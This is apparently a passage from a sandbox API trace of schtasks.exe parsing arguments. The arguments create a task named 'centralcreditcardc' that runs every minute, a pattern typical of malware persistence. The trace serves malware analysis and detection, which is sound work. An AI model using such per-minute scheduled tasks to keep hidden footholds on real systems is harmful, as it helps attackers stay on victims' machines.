cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.320] lstrlenW (lpString="s") returned 1 [0082.320] GetThreadLocale () returned 0x409 [0082.320] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.320] lstrlenW (lpString="u") returned 1 [0082.320] GetThreadLocale () returned 0x409 [0082.320] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.320] lstrlenW (lpString="p") returned 1 [0082.320] GetThreadLocale () returned 0x409 [0082.320] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.320] lstrlenW (lpString="ru") returned 2 [0082.320] GetThreadLocale () returned 0x409 [0082.320] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.320] lstrlenW (lpString="rp") returned 2 [0082.320] GetThreadLocale () returned 0x409 [0082.320] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.321] lstrlenW (lpString="sc") returned 2 [0082.321] GetThreadLocale () returned 0x409 [0082.321] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.321] lstrlenW (lpString="mo") returned 2 [0082.321] GetThreadLocale () returned 0x409 [0082.321] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.321] lstrlenW (lpString="d") returned 1 [0082.321] GetThreadLocale () returned 0x409 [0082.321] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.321] lstrlenW (lpString="m") returned 1 [0082.321] GetThreadLocale () returned 0x409 [0082.321] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.321] lstrlenW (lpString="i") returned 1 [0082.321] GetThreadLocale () returned 0x409 [0082.321] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.321] lstrlenW (lpString="tn") returned 2 [0082.321] GetThreadLocale () returned 0x409 [0082.321] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.321] lstrlenW (lpString="tr") returned 2 [0082.321] GetThreadLocale () returned 0x409 [0082.321] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.321] lstrlenW (lpString="st") returned 2 [0082.321] GetThreadLocale () returned 0x409 [0082.321] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.321] lstrlenW (lpString="sd") returned 2 [0082.321] GetThreadLocale () returned 0x409 [0082.321] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.321] lstrlenW (lpString="ed") returned 2 [0082.321] GetThreadLocale () returned 0x409 [0082.321] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.321] lstrlenW (lpString="it") returned 2 [0082.321] GetThreadLocale () returned 0x409 [0082.322] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.322] lstrlenW (lpString="et") returned 2 [0082.322] GetThreadLocale () returned 0x409 [0082.322] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.322] lstrlenW (lpString="k") returned 1 [0082.322] GetThreadLocale () returned 0x409 [0082.322] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.322] lstrlenW (lpString="du") returned 2 [0082.322] GetThreadLocale () returned 0x409 [0082.322] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.322] lstrlenW (lpString="ri") returned 2 [0082.322] GetThreadLocale () returned 0x409 [0082.322] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.322] lstrlenW (lpString="z") returned 1 [0082.322] GetThreadLocale () returned 0x409 [0082.322] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.322] lstrlenW (lpString="f") returned 1 [0082.322] GetThreadLocale () returned 0x409 [0082.322] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.322] lstrlenW (lpString="v1") returned 2 [0082.322] GetThreadLocale () returned 0x409 [0082.322] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.322] lstrlenW (lpString="xml") returned 3 [0082.322] GetThreadLocale () returned 0x409 [0082.322] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.322] lstrlenW (lpString="ec") returned 2 [0082.322] GetThreadLocale () returned 0x409 [0082.322] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.322] lstrlenW (lpString="rl") returned 2 [0082.323] GetThreadLocale () returned 0x409 [0082.323] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.323] lstrlenW (lpString="delay") returned 5 [0082.323] GetThreadLocale () returned 0x409 [0082.323] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0082.323] lstrlenW (lpString="np") returned 2 [0082.323] SetLastError (dwErrCode=0x0) [0082.323] SetLastError (dwErrCode=0x0) [0082.323] lstrlenW (lpString="/create") returned 7 [0082.323] lstrlenW (lpString="-/") returned 2 [0082.323] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0082.323] lstrlenW (lpString="create") returned 6 [0082.323] lstrlenW (lpString="create") returned 6 [0082.323] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.323] lstrlenW (lpString="create") returned 6 [0082.323] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.323] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|create|") returned 8 [0082.323] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|create|") returned 8 [0082.323] lstrlenW (lpString="|create|") returned 8 [0082.323] lstrlenW (lpString="|create|") returned 8 [0082.323] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0082.323] SetLastError (dwErrCode=0x0) [0082.323] SetLastError (dwErrCode=0x0) [0082.323] SetLastError (dwErrCode=0x0) [0082.323] lstrlenW (lpString="/tn") returned 3 [0082.323] lstrlenW (lpString="-/") returned 2 [0082.323] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0082.323] lstrlenW (lpString="create") returned 6 [0082.324] lstrlenW (lpString="create") returned 6 [0082.324] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.324] lstrlenW (lpString="tn") returned 2 [0082.324] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.324] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|create|") returned 8 [0082.324] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tn|") returned 4 [0082.324] lstrlenW (lpString="|create|") returned 8 [0082.324] lstrlenW (lpString="|tn|") returned 4 [0082.324] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0082.324] SetLastError (dwErrCode=0x490) [0082.324] lstrlenW (lpString="?") returned 1 [0082.324] lstrlenW (lpString="?") returned 1 [0082.324] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.324] lstrlenW (lpString="tn") returned 2 [0082.324] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.324] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|?|") returned 3 [0082.324] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tn|") returned 4 [0082.324] lstrlenW (lpString="|?|") returned 3 [0082.324] lstrlenW (lpString="|tn|") returned 4 [0082.324] SetLastError (dwErrCode=0x490) [0082.324] lstrlenW (lpString="s") returned 1 [0082.324] lstrlenW (lpString="s") returned 1 [0082.324] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.324] lstrlenW (lpString="tn") returned 2 [0082.324] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.324] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|s|") returned 3 [0082.325] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tn|") returned 4 [0082.325] lstrlenW (lpString="|s|") returned 3 [0082.325] lstrlenW (lpString="|tn|") returned 4 [0082.325] SetLastError (dwErrCode=0x490) [0082.325] lstrlenW (lpString="u") returned 1 [0082.325] lstrlenW (lpString="u") returned 1 [0082.325] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.325] lstrlenW (lpString="tn") returned 2 [0082.325] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.325] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|u|") returned 3 [0082.325] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tn|") returned 4 [0082.325] lstrlenW (lpString="|u|") returned 3 [0082.325] lstrlenW (lpString="|tn|") returned 4 [0082.325] SetLastError (dwErrCode=0x490) [0082.325] lstrlenW (lpString="p") returned 1 [0082.325] lstrlenW (lpString="p") returned 1 [0082.325] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.325] lstrlenW (lpString="tn") returned 2 [0082.325] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.325] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|p|") returned 3 [0082.325] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tn|") returned 4 [0082.325] lstrlenW (lpString="|p|") returned 3 [0082.325] lstrlenW (lpString="|tn|") returned 4 [0082.325] SetLastError (dwErrCode=0x490) [0082.325] lstrlenW (lpString="ru") returned 2 [0082.325] lstrlenW (lpString="ru") returned 2 [0082.325] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.326] lstrlenW (lpString="tn") returned 2 [0082.326] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.326] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|ru|") returned 4 [0082.326] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tn|") returned 4 [0082.326] lstrlenW (lpString="|ru|") returned 4 [0082.326] lstrlenW (lpString="|tn|") returned 4 [0082.326] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0082.326] SetLastError (dwErrCode=0x490) [0082.326] lstrlenW (lpString="rp") returned 2 [0082.326] lstrlenW (lpString="rp") returned 2 [0082.326] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.326] lstrlenW (lpString="tn") returned 2 [0082.326] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.326] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rp|") returned 4 [0082.326] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tn|") returned 4 [0082.326] lstrlenW (lpString="|rp|") returned 4 [0082.326] lstrlenW (lpString="|tn|") returned 4 [0082.326] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0082.326] SetLastError (dwErrCode=0x490) [0082.326] lstrlenW (lpString="sc") returned 2 [0082.326] lstrlenW (lpString="sc") returned 2 [0082.326] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.326] lstrlenW (lpString="tn") returned 2 [0082.326] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.326] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|sc|") returned 4 [0082.327] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tn|") returned 4 [0082.327] lstrlenW (lpString="|sc|") returned 4 [0082.327] lstrlenW (lpString="|tn|") returned 4 [0082.327] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0082.327] SetLastError (dwErrCode=0x490) [0082.327] lstrlenW (lpString="mo") returned 2 [0082.327] lstrlenW (lpString="mo") returned 2 [0082.327] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.327] lstrlenW (lpString="tn") returned 2 [0082.327] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.327] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|mo|") returned 4 [0082.327] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tn|") returned 4 [0082.327] lstrlenW (lpString="|mo|") returned 4 [0082.327] lstrlenW (lpString="|tn|") returned 4 [0082.327] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0082.327] SetLastError (dwErrCode=0x490) [0082.327] lstrlenW (lpString="d") returned 1 [0082.327] lstrlenW (lpString="d") returned 1 [0082.327] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.327] lstrlenW (lpString="tn") returned 2 [0082.327] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.327] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|d|") returned 3 [0082.327] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tn|") returned 4 [0082.327] lstrlenW (lpString="|d|") returned 3 [0082.327] lstrlenW (lpString="|tn|") returned 4 [0082.327] SetLastError (dwErrCode=0x490) [0082.327] lstrlenW (lpString="m") returned 1 [0082.327] lstrlenW (lpString="m") returned 1 [0082.328] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.328] lstrlenW (lpString="tn") returned 2 [0082.328] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.328] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|m|") returned 3 [0082.328] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tn|") returned 4 [0082.328] lstrlenW (lpString="|m|") returned 3 [0082.328] lstrlenW (lpString="|tn|") returned 4 [0082.328] SetLastError (dwErrCode=0x490) [0082.328] lstrlenW (lpString="i") returned 1 [0082.328] lstrlenW (lpString="i") returned 1 [0082.328] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.328] lstrlenW (lpString="tn") returned 2 [0082.328] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.328] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|i|") returned 3 [0082.328] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tn|") returned 4 [0082.328] lstrlenW (lpString="|i|") returned 3 [0082.328] lstrlenW (lpString="|tn|") returned 4 [0082.328] SetLastError (dwErrCode=0x490) [0082.328] lstrlenW (lpString="tn") returned 2 [0082.328] lstrlenW (lpString="tn") returned 2 [0082.328] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.328] lstrlenW (lpString="tn") returned 2 [0082.328] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.328] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tn|") returned 4 [0082.328] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|tn|") returned 4 [0082.328] lstrlenW (lpString="|tn|") returned 4 [0082.328] lstrlenW (lpString="|tn|") returned 4 [0082.329] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0082.329] SetLastError (dwErrCode=0x0) [0082.329] SetLastError (dwErrCode=0x0) [0082.329] lstrlenW (lpString="centralcreditcardc") returned 18 [0082.329] lstrlenW (lpString="-/") returned 2 [0082.329] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0082.329] SetLastError (dwErrCode=0x490) [0082.329] SetLastError (dwErrCode=0x490) [0082.329] SetLastError (dwErrCode=0x0) [0082.329] lstrlenW (lpString="centralcreditcardc") returned 18 [0082.329] StrChrIW (lpStart="centralcreditcardc", wMatch=0x3a) returned 0x0 [0082.329] SetLastError (dwErrCode=0x490) [0082.333] SetLastError (dwErrCode=0x0) [0082.333] lstrlenW (lpString="centralcreditcardc") returned 18 [0082.333] SetLastError (dwErrCode=0x0) [0082.333] SetLastError (dwErrCode=0x0) [0082.333] lstrlenW (lpString="/sc") returned 3 [0082.333] lstrlenW (lpString="-/") returned 2 [0082.333] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0082.333] lstrlenW (lpString="create") returned 6 [0082.333] lstrlenW (lpString="create") returned 6 [0082.333] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.333] lstrlenW (lpString="sc") returned 2 [0082.333] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.334] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|create|") returned 8 [0082.334] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|sc|") returned 4 [0082.334] lstrlenW (lpString="|create|") returned 8 [0082.334] lstrlenW (lpString="|sc|") returned 4 [0082.334] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0082.334] SetLastError (dwErrCode=0x490) [0082.334] lstrlenW (lpString="?") returned 1 [0082.334] lstrlenW (lpString="?") returned 1 [0082.334] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.334] lstrlenW (lpString="sc") returned 2 [0082.334] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.334] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|?|") returned 3 [0082.334] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|sc|") returned 4 [0082.334] lstrlenW (lpString="|?|") returned 3 [0082.334] lstrlenW (lpString="|sc|") returned 4 [0082.334] SetLastError (dwErrCode=0x490) [0082.334] lstrlenW (lpString="s") returned 1 [0082.334] lstrlenW (lpString="s") returned 1 [0082.334] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.334] lstrlenW (lpString="sc") returned 2 [0082.334] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.334] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|s|") returned 3 [0082.334] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|sc|") returned 4 [0082.334] lstrlenW (lpString="|s|") returned 3 [0082.334] lstrlenW (lpString="|sc|") returned 4 [0082.334] SetLastError (dwErrCode=0x490) [0082.334] lstrlenW (lpString="u") returned 1 [0082.334] lstrlenW (lpString="u") returned 1 [0082.334] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.335] lstrlenW (lpString="sc") returned 2 [0082.335] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.335] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|u|") returned 3 [0082.335] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|sc|") returned 4 [0082.335] lstrlenW (lpString="|u|") returned 3 [0082.335] lstrlenW (lpString="|sc|") returned 4 [0082.335] SetLastError (dwErrCode=0x490) [0082.335] lstrlenW (lpString="p") returned 1 [0082.335] lstrlenW (lpString="p") returned 1 [0082.335] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.335] lstrlenW (lpString="sc") returned 2 [0082.335] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.335] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|p|") returned 3 [0082.335] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|sc|") returned 4 [0082.335] lstrlenW (lpString="|p|") returned 3 [0082.335] lstrlenW (lpString="|sc|") returned 4 [0082.335] SetLastError (dwErrCode=0x490) [0082.335] lstrlenW (lpString="ru") returned 2 [0082.335] lstrlenW (lpString="ru") returned 2 [0082.335] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.335] lstrlenW (lpString="sc") returned 2 [0082.335] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.335] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|ru|") returned 4 [0082.335] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|sc|") returned 4 [0082.335] lstrlenW (lpString="|ru|") returned 4 [0082.335] lstrlenW (lpString="|sc|") returned 4 [0082.335] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0082.335] SetLastError (dwErrCode=0x490) [0082.335] lstrlenW (lpString="rp") returned 2 [0082.335] lstrlenW (lpString="rp") returned 2 [0082.335] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.336] lstrlenW (lpString="sc") returned 2 [0082.336] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.336] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|rp|") returned 4 [0082.336] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|sc|") returned 4 [0082.336] lstrlenW (lpString="|rp|") returned 4 [0082.336] lstrlenW (lpString="|sc|") returned 4 [0082.336] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0082.336] SetLastError (dwErrCode=0x490) [0082.336] lstrlenW (lpString="sc") returned 2 [0082.336] lstrlenW (lpString="sc") returned 2 [0082.336] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.336] lstrlenW (lpString="sc") returned 2 [0082.336] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.336] _vsnwprintf (in: _Buffer=0x15c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|sc|") returned 4 [0082.336] _vsnwprintf (in: _Buffer=0x15c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc888 | out: _Buffer="|sc|") returned 4 [0082.336] lstrlenW (lpString="|sc|") returned 4 [0082.336] lstrlenW (lpString="|sc|") returned 4 [0082.336] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0082.336] SetLastError (dwErrCode=0x0) [0082.336] SetLastError (dwErrCode=0x0) [0082.336] lstrlenW (lpString="MINUTE") returned 6 [0082.336] lstrlenW (lpString="-/") returned 2 [0082.336] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0082.336] SetLastError (dwErrCode=0x490) [0082.336] SetLastError (dwErrCode=0x490) [0082.336] SetLastError (dwErrCode=0x0) [0082.336] lstrlenW (lpString="MINUTE") returned 6 [0082.336] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0082.336] SetLastError (dwErrCode=0x490) [0082.337] SetLastError (dwErrCode=0x0) [0082.337] GetProcessHeap () returned 0x140000 [0082.337] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x18) returned 0x15d720 [0082.337] _memicmp (_Buf1=0x15d720, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.337] lstrlenW (lpString="MINUTE") returned 6 [0082.337] GetProcessHeap () returned 0x140000 [0082.337] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0xe) returned 0x15d740 [0082.337] lstrlenW (lpString="MINUTE") returned 6 [0082.337] lstrlenW (lpString=" \x09") returned 2 [0082.337] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0082.337] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0082.337] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0082.337] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0082.337] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0082.337] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0082.337] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0082.337] GetLastError () returned 0x0 [0082.337] lstrlenW (lpString="MINUTE") returned 6 [0082.337] lstrlenW (lpString="MINUTE") returned 6 [0082.337] SetLastError (dwErrCode=0x0) [0082.337] SetLastError (dwErrCode=0x0) [0082.337] lstrlenW (lpString="/mo") returned 3 [0082.337] lstrlenW (lpString="-/") returned 2 [0082.337] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0082.337] lstrlenW (lpString="create") returned 6 [0082.337] lstrlenW (lpString="create") returned 6 [0082.337] _memicmp (_Buf1=0x15c2a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.337] lstrlenW (lpString="mo") returned 2 [0082.338] _memicmp (_Buf1=0x15c3e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0082.338] _vsnwprintf (in: 